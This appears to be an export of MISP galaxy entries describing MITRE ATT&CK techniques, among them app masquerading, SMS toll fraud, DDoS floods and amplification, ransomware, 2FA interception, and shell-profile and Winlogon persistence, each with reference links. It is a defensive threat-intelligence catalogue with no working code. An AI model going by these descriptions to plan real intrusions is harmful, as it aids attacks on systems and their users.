Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.

Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox)

The tag is: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444"

Table 2331. Table References
Links
https://attack.mitre.org/techniques/T1444
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html
http://ieeexplore.ieee.org/document/6234407
https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/

Premium SMS Toll Fraud - T1448

A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary(Citation: Lookout-SMS).

On iOS, apps cannot send SMS messages.

On Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).

The tag is: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448"

Table 2332. Table References
Links
https://attack.mitre.org/techniques/T1448
https://blog.lookout.com/10-organizations-build-60-of-russian-toll-fraud-malware
https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf

Downgrade to Insecure Protocols - T1466

An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.

The tag is: misp-galaxy:mitre-attack-pattern="Downgrade to Insecure Protocols - T1466"

Table 2333. Table References
Links
https://attack.mitre.org/techniques/T1466
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html
http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf

Rogue Cellular Base Station - T1467

An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique(Citation: Computerworld-Femtocell).

The tag is: misp-galaxy:mitre-attack-pattern="Rogue Cellular Base Station - T1467"

Table 2334. Table References
Links
https://attack.mitre.org/techniques/T1467
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html
http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html

Data Encrypted for Impact - T1486

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"

Table 2335. Table References
Links
https://attack.mitre.org/techniques/T1486
https://www.us-cert.gov/ncas/alerts/TA16-091A
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
https://www.us-cert.gov/ncas/alerts/TA17-181A
https://www.us-cert.gov/ncas/alerts/AA18-337A

Exploit via Radio Interfaces - T1477

The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.

Baseband Vulnerability Exploitation

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi(Citation: ProjectZero-BroadcomWiFi) or other) to the mobile device could exploit a vulnerability in code running on the device(Citation: Register-BaseStation)(Citation: Weinmann-Baseband).

Malicious SMS Message

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).

The tag is: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477"

Table 2336. Table References
Links
https://attack.mitre.org/techniques/T1477
https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html
http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/
https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf
http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html
https://srlabs.de/bites/rooting-sim-cards/

Network Denial of Service - T1498

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). Many different methods to accomplish such network saturation have been observed, but most fall into two main categories: Direct Network Floods and Reflection Amplification.

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).

Direct Network Flood

Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service’s network. Almost any network protocol may be used for Direct Network Floods. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

Reflection Amplification

Adversaries may amplify the volume of their attack traffic by using Reflection. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)

Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498"

Table 2337. Table References
Links
https://attack.mitre.org/techniques/T1498
https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf
https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
https://blog.cloudflare.com/reflections-on-reflections/
https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/
https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf

Endpoint Denial of Service - T1499

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target’s resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)

For attacks attempting to saturate the providing network, see the Network Denial of Service Technique [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

OS Exhaustion Flood

Since operating systems (OSs) are responsible for managing the finite resources on a system, they can be a target for DoS. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018)

SYN Flood

With SYN floods excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)

ACK Flood

ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)

Service Exhaustion Flood

Different network services provided by systems are targeted in different ways to conduct a DoS. Adversaries often target DNS and web servers, but other services have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.

Simple HTTP Flood

A large number of HTTP requests can be issued to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)

SSL Renegotiation Attack

SSL Renegotiation Attacks take advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)

Application Exhaustion Flood

Web applications that sit on top of web server stacks can be targeted for DoS. Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)

Application or System Exploitation

Software vulnerabilities exist that when exploited can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.

The tag is: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499"

Table 2338. Table References
Links
https://attack.mitre.org/techniques/T1499
https://capec.mitre.org/data/definitions/227.html
https://capec.mitre.org/data/definitions/131.html
https://capec.mitre.org/data/definitions/130.html
https://capec.mitre.org/data/definitions/125.html
https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf
https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/
https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html
https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/
https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new
https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf

Push-notification client-side exploit - T1373

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)

The tag is: misp-galaxy:mitre-attack-pattern="Push-notification client-side exploit - T1373"

Table 2339. Table References
Links
https://attack.mitre.org/techniques/T1373

Exploit Public-Facing Application - T1190

The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).

If an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies.

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)

The tag is: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"

Table 2340. Table References
Links
https://attack.mitre.org/techniques/T1190
https://nvd.nist.gov/vuln/detail/CVE-2016-6662
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
https://nvd.nist.gov/vuln/detail/CVE-2014-7169
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
https://cwe.mitre.org/top25/index.html

Untargeted client-side exploitation - T1370

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)

The tag is: misp-galaxy:mitre-attack-pattern="Untargeted client-side exploitation - T1370"

Table 2341. Table References
Links
https://attack.mitre.org/techniques/T1370

Two-Factor Authentication Interception - T1111

Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.

If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user’s personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)

Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)

The tag is: misp-galaxy:mitre-attack-pattern="Two-Factor Authentication Interception - T1111"

Table 2342. Table References
Links
https://attack.mitre.org/techniques/T1111
https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf
https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf

Host-based hiding techniques - T1314

Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)

The tag is: misp-galaxy:mitre-attack-pattern="Host-based hiding techniques - T1314"

Table 2343. Table References
Links
https://attack.mitre.org/techniques/T1314

Network-based hiding techniques - T1315

Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)

The tag is: misp-galaxy:mitre-attack-pattern="Network-based hiding techniques - T1315"

Table 2344. Table References
Links
https://attack.mitre.org/techniques/T1315

Targeted client-side exploitation - T1371

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user’s computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)

The tag is: misp-galaxy:mitre-attack-pattern="Targeted client-side exploitation - T1371"

Table 2345. Table References
Links
https://attack.mitre.org/techniques/T1371

Insecure Third-Party Libraries - T1425

Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.

For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Insecure Third-Party Libraries - T1425"

Insecure Third-Party Libraries - T1425 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Table 2346. Table References
Links
https://attack.mitre.org/techniques/T1425

Exploit public-facing application - T1377

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)

The tag is: misp-galaxy:mitre-attack-pattern="Exploit public-facing application - T1377"

Table 2347. Table References
Links
https://attack.mitre.org/techniques/T1377

.bash_profile and .bashrc - T1156

<code>~/.bash_profile</code> and <code>~/.bashrc</code> are shell scripts that contain shell commands. These files are executed in a user’s context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the <code>~/.bash_profile</code> script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the <code>~/.bashrc</code> script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment.

The macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.

Adversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware).

The tag is: misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc - T1156"

Table 2348. Table References
Links
https://attack.mitre.org/techniques/T1156
https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/

Identify business processes/tempo - T1280

Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)

The tag is: misp-galaxy:mitre-attack-pattern="Identify business processes/tempo - T1280"

Table 2349. Table References
Links
https://attack.mitre.org/techniques/T1280

System Owner/User Discovery - T1033

Windows

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Mac

On Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.

Linux

On Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.

The tag is: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"

Table 2350. Table References
Links
https://attack.mitre.org/techniques/T1033
https://capec.mitre.org/data/definitions/577.html

Disguise Root/Jailbreak Indicators - T1408

An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).

The tag is: misp-galaxy:mitre-attack-pattern="Disguise Root/Jailbreak Indicators - T1408"

Table 2351. Table References
Links
https://attack.mitre.org/techniques/T1408
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html
https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf
http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions
http://pages.cs.wisc.edu/_{vrastogi/static/papers/rcj13b.pdf[http://pages.cs.wisc.edu/}vrastogi/static/papers/rcj13b.pdf]

Obtain templates/branding materials - T1281

Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)

The tag is: misp-galaxy:mitre-attack-pattern="Obtain templates/branding materials - T1281"

Table 2352. Table References
Links
https://attack.mitre.org/techniques/T1281

Research relevant vulnerabilities/CVEs - T1291

Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)

The tag is: misp-galaxy:mitre-attack-pattern="Research relevant vulnerabilities/CVEs - T1291"

Table 2353. Table References
Links
https://attack.mitre.org/techniques/T1291

Conduct cost/benefit analysis - T1226

Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)

The tag is: misp-galaxy:mitre-attack-pattern="Conduct cost/benefit analysis - T1226"

Table 2354. Table References
Links
https://attack.mitre.org/techniques/T1226

Assess KITs/KIQs benefits - T1229

Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.

The tag is: misp-galaxy:mitre-attack-pattern="Assess KITs/KIQs benefits - T1229"

Table 2355. Table References
Links
https://attack.mitre.org/techniques/T1229

Determine approach/attack vector - T1245

The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Determine approach/attack vector - T1245"

Table 2356. Table References
Links
https://attack.mitre.org/techniques/T1245

Mine technical blogs/forums - T1257

Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)

The tag is: misp-galaxy:mitre-attack-pattern="Mine technical blogs/forums - T1257"

Table 2357. Table References
Links
https://attack.mitre.org/techniques/T1257

Unused/Unsupported Cloud Regions - T1535

Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. For example, AWS GuardDuty is not supported in every region.(Citation: AWS Region Service Table)

An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)

The tag is: misp-galaxy:mitre-attack-pattern="Unused/Unsupported Cloud Regions - T1535"

Table 2358. Table References
Links
https://attack.mitre.org/techniques/T1535
https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/
https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc

Obtain booter/stressor subscription - T1396

Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)

The tag is: misp-galaxy:mitre-attack-pattern="Obtain booter/stressor subscription - T1396"

Table 2359. Table References
Links
https://attack.mitre.org/techniques/T1396

Application Window Discovery - T1010

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.

In Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script.

The tag is: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010"

Table 2360. Table References
Links
https://attack.mitre.org/techniques/T1010

Winlogon Helper DLL - T1004

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

Winlogon\Notify - points to notification package DLLs that handle Winlogon events
Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.

The tag is: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004"

Table 2361. Table References
Links
